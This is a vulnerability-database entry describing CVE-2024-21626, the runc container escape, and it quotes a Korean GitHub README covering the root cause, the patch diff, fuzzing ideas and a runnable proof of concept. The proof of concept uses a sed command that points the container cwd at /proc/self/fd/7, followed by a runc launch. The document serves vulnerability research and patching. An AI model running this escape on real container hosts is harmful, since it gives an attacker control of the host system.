runc Container Escape Vulnerability

漏洞信息

漏洞名称: runc Container Escape Vulnerability

漏洞编号:

  • CVE: CVE-2024-21626

漏洞类型: 权限提升

漏洞等级: 高危

漏洞描述: runc是一个轻量级的容器运行时工具,广泛用于Docker等容器平台中,负责容器的创建和管理。它通常部署在企业级服务和云平台中,是容器技术栈的核心组件之一。此次发现的漏洞允许攻击者从容器内部逃逸到宿主机系统,具有严重的安全风险。该漏洞的技术根源在于runc v1.1.11及以下版本中,处理cgroup设置时未正确关闭文件描述符,导致攻击者可以通过控制工作目录路径,使容器进程的当前工作目录移动到容器根文件系统之外,从而实现容器逃逸。具体来说,攻击者可以利用未关闭的文件描述符,结合特定的工作目录设置,使得容器内的进程能够访问和修改宿主机的文件系统。这种漏洞的利用不需要额外的认证,且可以自动化执行,对容器化环境构成了严重威胁。攻击者一旦成功利用此漏洞,可以完全控制宿主机系统,导致数据泄露、服务中断等严重后果。

产品厂商: runc

产品名称: runc

影响版本: <= 1.1.11

来源: https://github.com/R4mbb/CVE-2024-21626

类型: CVE-2024:github search

仓库文件

  • Makefile
  • README.md
  • poc-autoplay.sh
  • poc-uninstall.sh

来源概述

CVE-2024-21626

Root cuase & Proof of cause

How to use poc-autoplay?

1
2
3
make install

make uninstall

1. Root cause

  • runc v1.1.11 버전 이하에서 cgroup을 설정하기 위해 호스트의 /sys/fs/cgroup 디렉토리를 여는 과정에서 해당 파일 디스크립터를 컨테이너 초기화 프로세스에 닫지 않고 남겨둬서 해당 취약점이 발생한다.
  1. runc init 단계에서 호스트의 /sys/fs/cgroup을 통해 /proc/{PID}/fd/7 획득.
  2. 해당 fd를 닫지 않은 채 컨테이너 PID 1을 fork/exec.
  3. runc의 spec 또는 runc exec —cwd 옵션에서 작업 디렉토리(cwd)를 위에서 획득한 /proc/self/fd/7/ 처럼 공격자가 제어하는 경로로 지정.
  4. chdir 이후, PID 1의 cwd가 컨테이너의 rootfs 밖으로 이동.
  5. 컨테이너 내부 프로세스가 호스트 파일 시스템에 접근하거나 수정이 가능해지면서 Container escape가 됨을 확인.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
--- a/libcontainer/init_linux.go
+++ b/libcontainer/init_linux.go
@@ -7,6 +7,7 @@ import (
"net"
"os"
+ "path/filepath"
"runtime"
"runtime/debug"
"strconv"
@@ -268,6 +272,32 @@ func populateProcessEnvironment(env []string) error {
return nil
}

+// verifyCwd ensures that the current working directory is still inside
+// the container’s mount-namespace root. If getcwd(2) returns ENOENT,
// it indicates the cwd is outside the container.
// See CVE-2024-21626.
+func verifyCwd() error {
+ if wd, err := unix.Getwd(); errors.Is(err, unix.ENOENT) {
+ return errors.New("current working directory is outside of container mount namespace root -- possible container breakout detected")
+ } else if err != nil {
+ return fmt.Errorf("failed to verify if current working directory is safe: %w", err)
+ } else if !filepath.IsAbs(wd) {
+ // Sanity check: cwd should always be absolute
+ return fmt.Errorf("current working directory is not absolute -- possible container breakout detected: cwd is %q", wd)
+ }
+ return nil
+}

@@ -326,6 +353,10 @@ func finalizeNamespace(config *initConfig) error {
if err := system.ClearKeepCaps(); err != nil {
return fmt.Errorf("unable to clear keep caps: %w", err)
}
+ // After chdir to config.Cwd, ensure it’s still inside the container
+ if err := verifyCwd(); err != nil {
+ return err
+ }
return nil
}
  • chdir 직후에 cwd를 검증하는 로직이 추가되었다.
  • libcontainer/init_linux.go 에서 verifyCwd() 함수를 추가해서, chdir 이후 cwd가 여전히 컨테이너 내부인지 확인 후 err 발생 여부를 정한다.
  • 유출된 파일 디스크립터를 전부 닫는 로직이 추가되었다.
  • 최종 execve 직전에 모든 내부용 fd를 닫도록 하여, 호스트 fd가 컨테이너 프로제스에 남아있지 않도록 했다.

2. Proof of Concept

  • Environment
1
2
3
4
5
- wsl, vmware (Ubuntu 18 ~ 22)
- kernel (6.6.87)
- runc ( ≤ 1.1.11)
- docker (28.1.1)
- go (1.20.14)
  • Exploit via runc itself
1
2
3
4
5
6
7
8
9
mkdir CVE-2024-21626 && cd CVE-2024-21626 && mkdir rootfs

docker pull alpine:latest
docker export $(docker create alpine:latest) | tar x -C rootfs/

runc spec
sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json

sudo bash -c "exec 7</; runc run demo"

도커 내부에서 로컬의 / 경로에서 시작.

- 컨테이너 생성 시 working directory를 특정 파일 디스크립터로 설정해야 한다.
호스트의 열린 fd와 컨테이너 내부의 fd가 연결되어 docker escape가 가능해진다.


- PoC file
- https://drive.google.com/file/d/14ttL_Hzbg1GO8WFt3fIfdP7Ik0s1yOM3/view?usp=sharing
- make install, make uninstall

- PoC MP4 : https://drive.google.com/file/d/1NQwCPwxi51l_RFr8KMACH0Cupe7w_AnE/view?usp=sharing

3. How can this vulnerability be fuzzed?

- 해당 취약한 runc 바이너리에 대하여 go-fuzz를 진행하는 방식.
- 취약 함수인 finalizeNamespace() 내부의 chdir(config.Cwd) 처리 부분을 대상으로 무작위 OCI config를 입력값으로 주는 방식으로 할 수 있다.
- 해당 방식으로 chdir 이후 cwd에서 상대경로로 예외처리 혹은 크래시 부분을 분석하면 될 것 같다.
- 취약 버전 runc 바이너리를 대상으로 AFL++로 진행하는 방식.
- OCI spec JSON과 runc CLI Argument를 퍼징하는 방식이다.
- OCI spec JSON에서 cwd 부분을 타겟으로 chdir 지점에서 발생하는 크래시를 분석 하면 될 것 같다.